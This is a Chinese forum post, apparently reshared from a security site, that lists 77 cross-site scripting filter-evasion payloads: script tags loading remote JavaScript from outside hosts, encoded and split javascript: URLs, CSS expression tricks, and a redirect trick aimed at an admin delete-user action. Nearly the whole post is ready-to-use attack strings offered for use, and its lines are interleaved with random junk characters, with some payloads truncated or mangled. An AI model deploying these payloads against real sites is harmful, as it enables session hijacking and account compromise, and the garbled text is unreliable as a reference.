貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
* L( y3 j0 s9 q8 O" G" x2 ?! {' |2 }, s. o8 R" W2 N
(1)普通的XSS JavaScript注入
2 [2 R3 D, }' f+ u, I: d <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>% g/ {# f2 U6 z8 G) D
3 \) K- I# K/ g5 X (2)IMG标签XSS使用JavaScript命令
) u" C: g" B; ]0 T3 P4 Z- E* l <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
# v6 q: p2 d+ m! Z5 G2 D# `3 N' |* n& s% k
(3)IMG标签无分号无引号
! V& z& ^$ j( e l% ` <IMG SRC=javascript:alert(‘XSS’)>
2 o( S. i: y' T. {9 \+ U# A- q! F
7 |/ C4 u" Q. |2 g0 _* s* u- M (4)IMG标签大小写不敏感9 ~9 f" Y9 e. a# u& x
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>0 S7 R; }5 z1 g+ W' p
. h/ b J/ N5 a0 `$ o% C (5)HTML编码(必须有分号)* E/ @) k: N/ \4 @& r
<IMG SRC=javascript:alert(“XSS”)># G5 g0 C8 y) a/ r" D
7 ~6 M: R" y% i* Q6 l2 E9 ?5 @7 [ (6)修正缺陷IMG标签+ L, }/ X& r/ c* K* X4 E
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>1 R+ z% c i4 Z0 T& W; T$ _5 y
* Z8 F Y- J' z (7)formCharCode标签(计算器)
7 L$ Z* c7 \- J; ]9 {: m' ` <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
6 P9 B. _ y% K& y, `
* @7 R0 ~7 H* G L$ [* Z (8)UTF-8的Unicode编码(计算器)
1 g& O, t+ ]( p& L7 Z5 ~# d2 m3 \ <IMG SRC=jav..省略..S')>
/ M$ P0 o! W4 y( K" Z: S M! ]2 J/ [2 C% W7 K' S* ?
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
7 p& l3 ?* g* W$ N8 k: ~8 ?) Y <IMG SRC=jav..省略..S')>, |4 c a1 f' l% X
0 o6 G( W& A/ l8 [ q (10)十六进制编码也是没有分号(计算器)+ C% W8 y( e) Z5 g% d7 C3 t$ p
<IMG SRC=java..省略..XSS')> t q6 o# @: K6 b7 M
) ^1 O& _( x7 t4 }( F) v
(11)嵌入式标签,将Javascript分开. ?( d1 e( Z5 Q) Q+ \
<IMG SRC=”jav ascript:alert(‘XSS’);”>9 f y/ d. U! L0 u9 ]5 m: @
* w& O' C; x, {" j
(12)嵌入式编码标签,将Javascript分开: @9 r' X, T7 ~0 K2 U4 \
<IMG SRC=”jav ascript:alert(‘XSS’);”>
# c9 x5 ?7 D [+ r
' d9 S5 X- h( u1 F (13)嵌入式换行符
- }1 S* v3 c8 v# A <IMG SRC=”jav ascript:alert(‘XSS’);”>( A( Q; G t' x8 K" [% f- U7 `4 r
1 c& d, j8 {/ Y, b
(14)嵌入式回车5 K: c# C0 X, q/ K7 T3 i) k7 e
<IMG SRC=”jav ascript:alert(‘XSS’);”>
: Y1 d* \/ R2 s) q$ q" Y1 H, v/ n, M
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
3 ]% t9 r7 t9 h$ ?- Y <IMG SRC=”javascript:alert(‘XSS‘)”>
Y% Q: J: n# N! @1 N# ~
2 |5 C: W9 j9 L& q) ~ (16)解决限制字符(要求同页面)
; R- n1 G- B' r D2 \ ?6 N. S/ q <script>z=’document.’</script>
& g k; y) m/ _: m% Z8 E! q- g <script>z=z+’write(“‘</script>
- n6 I4 x3 m5 ?+ d+ c$ ]" K <script>z=z+’<script’</script>
0 J8 ~3 Y+ U% C9 z2 c0 z <script>z=z+’ src=ht’</script># j4 j! g0 G( J3 X
<script>z=z+’tp://ww’</script>
8 c( _7 Y2 H3 N3 ? <script>z=z+’w.shell’</script>( z: S; [. j; D3 Z
<script>z=z+’.net/1.’</script>
! z* E: G `6 S3 @3 ]8 y1 k <script>z=z+’js></sc’</script>
" A: M, ^% Q* ]8 u# k5 P <script>z=z+’ript>”)’</script>% W6 N4 y) r) x. ^' y- U$ W
<script>eval_r(z)</script>- ?* [9 r& n7 O# F- C
6 n8 y. m5 }) y L
(17)空字符9 F. x, p8 V# `) x
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out1 \; @& L/ ]- R- y
# A+ q+ }" `" W; v
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用7 Z# [( B q$ x6 I- M
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out# f8 j: M, |! B, Z- J1 b' \) K; g
2 _' B! V" }7 w7 x- h9 q0 i+ {
(19)Spaces和meta前的IMG标签& M1 @% ?' Q. |; S3 p
<IMG SRC=” javascript:alert(‘XSS’);”>
b' f* ?( \; l
) u) v! [4 T. j$ q7 z- O (20)Non-alpha-non-digit XSS
" i5 L& o* Z4 M- {8 [" R <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>. @: n) F' S: A; n( d
" s3 j L7 s% a/ y& J W (21)Non-alpha-non-digit XSS to 2
# h" c% O2 G# q0 \7 E <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
( R0 b) u# d5 b* ?. Z5 z# H3 R
0 J8 e, h( X4 }, T; q0 n$ |, p (22)Non-alpha-non-digit XSS to 3
: |4 B6 |9 _4 r/ U9 C5 r# { <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
1 W: S! G6 b: k2 _) C) @1 l. n. p# U! g. V9 @" u6 M/ B! }0 ^4 L9 s
(23)双开括号
- e8 y) z' Z1 [8 A <<SCRIPT>alert(“XSS”);//<</SCRIPT>
$ e/ x+ [* @, v6 |: B6 e9 y+ u# E
(24)无结束脚本标记(仅火狐等浏览器)
- q: Y6 K3 u: x <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
0 x( j2 z' r0 a; a9 `+ {5 Z- l
(25)无结束脚本标记2+ H8 N8 `5 Y! m. w1 r) F8 ?5 Y
<SCRIPT SRC=//3w.org/XSS/xss.js>
+ \: ~0 J7 P: } ^ C& X) z4 }% G# \5 N z W# {, F( h) r
(26)半开的HTML/JavaScript XSS
4 L9 }2 t8 U8 X" @' A+ Y1 y <IMG SRC=”javascript:alert(‘XSS’)”
, ^& O: g& K, S. Z' C/ A- @! j6 r8 E* V6 l
(27)双开角括号
5 Z" @* y6 ]9 z N( D# b3 ` <iframe src=http://3w.org/XSS.html <
/ o9 {! J; e9 t2 Z9 R
6 q) I. Y# Y, x" ?8 C (28)无单引号 双引号 分号
& t, s" P# a$ ~7 n" i7 k <SCRIPT>a=/XSS/! D# \6 b; {/ C4 i; E9 ^
alert(a.source)</SCRIPT>
, `( y# G/ q% B& S( U9 n5 s( W$ b8 e$ A) t' O* A- \
(29)换码过滤的JavaScript
" P: j) Q0 P. k) E \”;alert(‘XSS’);//
$ S. i H, s* y$ D _9 n# G9 ]/ W. u
(30)结束Title标签
0 ]8 s3 y3 P7 O# z" c/ v </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
# L) l) H& K5 P0 a( S i/ l0 F
7 h0 {9 p$ ^2 M# u+ B( i (31)Input Image
5 p5 Y) x: I- J& n0 q <INPUT SRC=”javascript:alert(‘XSS’);”>! z7 J- o' w c# G
2 y3 W1 U# X" t' W5 x3 ^ (32)BODY Image/ N+ r# x6 u1 Y" l/ ~0 l! Z' W' q
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>+ n7 T6 }% H. m5 |. Y
9 m2 D1 m$ L: ~# U- ^/ z" S8 h8 S (33)BODY标签
, u# j) b( p5 G4 U$ e <BODY(‘XSS’)>
O6 O) c7 v2 U) |
) C% ~$ h6 J% {' ~$ O (34)IMG Dynsrc- |* m! f" \) b9 F- T, h
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
8 S7 M& ?, V' _/ N# E% [0 T5 R( r
* g, B$ s' l% y, }0 X/ A! Q# O (35)IMG Lowsrc
7 \' h' n# Y9 Q2 K! u; [ <IMG LOWSRC=”javascript:alert(‘XSS’)”>
D% H; ~: |( C/ J: Y4 `. U* ~* N
( f, l3 S/ R; _+ x& s, I (36)BGSOUND3 {$ g* A" E$ k. F
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
4 K9 n* H' v0 w, c- u
! }* V; v D0 D5 Y (37)STYLE sheet
( D. R' r$ I# s# |# ^ <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>; X0 H) o( g- B. q4 U
, A% D) n* h+ ^8 `# {+ p
(38)远程样式表
3 z, L: F- R& M <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>2 F8 h/ N3 Y6 }5 ` o
/ l. i& P0 t$ h" W6 t+ K8 J
(39)List-style-image(列表式)
+ s9 u5 G I, y! Q# u <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS8 p2 T" S% s& d) j+ T, i7 o
7 O3 d1 r# f& o; j( H
(40)IMG VBscript
# S9 G/ }2 K; \4 D3 M, { <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS9 c/ t5 w8 t6 M0 G8 g( K; ?, z- Y
/ C6 Q2 f8 i% P+ G: G
(41)META链接url0 M- ~$ l; p) B5 G$ Y
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
_2 W& Z4 s- A9 ?
0 F8 E6 R2 E1 Q% C7 u- @3 s (42)Iframe+ ?( K, O6 c* \) j$ H* Z8 u/ G
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME># A J ` w* z2 K
* v" t( e9 x( O4 p4 R
(43)Frame. J. G; S3 n) {) r
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>2 @& u' m9 O. B3 c
) Q% M$ f+ I. m) W# D/ _ (44)Table
1 v' m$ T4 s' s4 d$ T <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
9 ?- F" {; |" p" Y$ }. |4 q: g' R. W
(45)TD, V! _. T3 ], Z, Z7 `
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”># }% b' X& S$ A7 w; `5 L/ y3 x
@5 ]7 q( F! F0 k# \ (46)DIV background-image" T0 z. |, M7 O- v
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>7 U E- ^& `3 v q7 X1 p
4 y3 Y3 w# O7 f( n8 g5 Y' \ (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)/ r' w; R% u9 Q' W
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
' k: _7 z/ m7 Y1 v/ @% R/ K6 n* v
(48)DIV expression0 B: ~4 K1 d3 J, o
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
9 I2 X, L# T7 i I
]8 z: T+ K1 g+ H (49)STYLE属性分拆表达5 y3 l, P7 {7 _8 {$ d
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
7 n# d% U- y% ]' ^ ^; _
1 v( P) h5 _+ t7 i8 g; C% p (50)匿名STYLE(组成:开角号和一个字母开头)7 @- y) j9 X% H# H) a
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
4 R2 K! u* a. k9 c. o8 @2 r( c5 y* M" I4 B: J4 w- ]' ]% l: u
(51)STYLE background-image
8 h: x: `3 c# T# c6 J+ j7 V- m- o <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>- D$ ~! H& ]% L: a
, x# \/ h8 u; Z+ k5 B (52)IMG STYLE方式" d. e& h5 R! p. d7 [
exppression(alert(“XSS”))’>
; e' H) d* i# D0 d2 a5 q
3 l# _4 D x$ g9 o- j# @ (53)STYLE background2 A6 H |6 y* {) \9 w% ]0 j
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>2 q/ _/ N1 q- A' \" _
8 L/ ?' L; n- J# x8 t$ D" k5 z (54)BASE4 G. q( v5 B& M( g2 ~% J+ p
<BASE HREF=”javascript:alert(‘XSS’);//”>
. G; o* |; A3 E) X' o- f
+ i Y; \' y, b# [# Z# Z) W (55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
7 X% H7 H7 Y* m: W {. T7 h; y <EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>) J7 @2 k# I2 u: C
) O# F3 d) H( `. F' H' z2 Y (56)在flash中使用ActionScrpt可以混进你XSS的代码
) O3 u, c+ W. ~3 _9 ~ a=”get”;( t* @. f: \. T2 l7 ], j7 w& p
b=”URL(\”";2 P3 l! d/ N& w+ T
c=”javascript:”;
% o4 i! l3 A6 K* f. Z d=”alert(‘XSS’);\”)”;# S/ M b4 r6 T: O W
eval_r(a+b+c+d);
. V2 Y. _7 b' a% c$ u; }7 \ {) Z% }; D4 a2 O3 g* M- W
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
$ c& z& f2 G* _/ a; B3 t8 m <HTML xmlns:xss># J- Q. {+ e6 x( C7 {: f
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>8 H9 F( `2 F5 k" F3 _$ J
<xss:xss>XSS</xss:xss>
* X4 J4 u0 y; p. N3 z </HTML>) G: w5 Y* q4 G6 l+ s! o
) b- r7 Z/ q; _' E/ T& ~/ d
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用1 p* q$ C9 N; e' }
<SCRIPT SRC=””></SCRIPT>; Z9 O1 P1 k, W1 b; J* @% ^
( G% J! l' \. `2 @7 i! h/ Q (59)IMG嵌入式命令,可执行任意命令
3 t0 _& b0 V2 y8 X9 ~( }( Q& { <IMG SRC=”http://www.XXX.com/a.php?a=b”>
, w7 N# e7 w3 ?1 x/ J4 n9 q
1 e6 z* W+ ^( J0 q5 G: M2 J (60)IMG嵌入式命令(a.jpg在同服务器)
/ X* x9 |1 D, f j2 h+ W Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
4 }) C0 |! ?0 }# c9 Z9 K$ G: m* Q6 ~" `7 V
(61)绕符号过滤
3 I( }! j* M% }- H: [* ~ <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>+ Y, q5 c% M7 l3 g; @8 ^ C
2 }" x$ D- C+ s! n" ?/ w
(62)# c. n8 s6 W$ n/ G7 Y+ A
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
; P( W6 ?9 y0 Z1 ^. l# ?% L& @" I) q( J& Z7 D# D, f
(63)
8 P: i. j9 e0 b+ J( ~ <SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
, z3 G1 m1 }- K' w1 C4 i5 U* T H
(64)! i0 O' J5 l" H8 o
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>+ _2 h; @, R9 \. [+ {3 }- ?' _7 y
5 z3 p/ b3 a: @" o2 N (65)+ {3 A) |1 l) q3 }
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
) J7 Z m5 P& u9 U: c7 t
- b' \2 L* q1 w9 V (66)
: a; I7 x" C* q4 c: t2 @; w; \ <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
- x4 W" _5 ]+ o# D- A. U9 N' W, T6 M( C- d2 I, L* u
(67)- D% ?5 e5 b* ~/ T, Y3 Y
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>, B+ o. J, G; M5 m* J8 D
, L2 ]$ i* t/ Y% r7 F; ]/ T (68)URL绕行, B8 V# i. c& X2 Y& s
<A HREF=”http://127.0.0.1/”>XSS</A>2 \: \9 L% D" B! s9 [: S$ k, e
# j* G) L5 f" a: o# W
(69)URL编码# F. l. T' U" |
<A HREF=”http://3w.org”>XSS</A>6 h. i8 W. H; P1 s
6 A+ @1 z7 H! Y+ x (70)IP十进制
& K [ e* T' C- E9 D' ` <A HREF=”http://3232235521″>XSS</A>& D2 A; |7 ~# E2 S3 |9 Q
/ R) p) K& Z: O/ O0 q, I (71)IP十六进制1 c1 b' m3 r7 s; s2 Q l
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
' o8 d; a& V. P
# W$ r, v w( \0 w: L9 k (72)IP八进制
3 U) X1 [; W) L8 }- x <A HREF=”http://0300.0250.0000.0001″>XSS</A>% [7 z$ S* [) T9 W; F
. {3 H# [! Q) |3 l' n2 H6 K, _ (73)混合编码
3 Z7 Y* W* G2 B! @( m/ Y <A HREF=”h
" l G$ _/ u; {" M( ^3 I$ T7 Y2 B tt p://6 6.000146.0×7.147/”">XSS</A>
$ \9 M/ a N6 p" }7 @' T7 g9 w/ P$ |; @1 d; @. z
(74)节省[http:] J. r& c7 T, e2 }
<A HREF=”//www.google.com/”>XSS</A>
/ E4 z* h( e8 j5 w# T8 m* Q) Z, m* o1 _6 @% z, l* J' B U) S P
(75)节省[www]
3 L2 f2 E/ q9 [0 c/ ] <A HREF=”http://google.com/”>XSS</A>
1 [, N) N2 J$ e% z; r1 ^% I# y, E7 ^/ n: c
(76)绝对点绝对DNS
8 U# r. a: K9 y9 o- c% X! _ <A HREF=”http://www.google.com./”>XSS</A>0 z6 @- j) m2 ?! s( I
5 c6 n% @- E' k) o* _ (77)javascript链接
1 h# o- I" h% g2 D0 `# D- i <A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A> |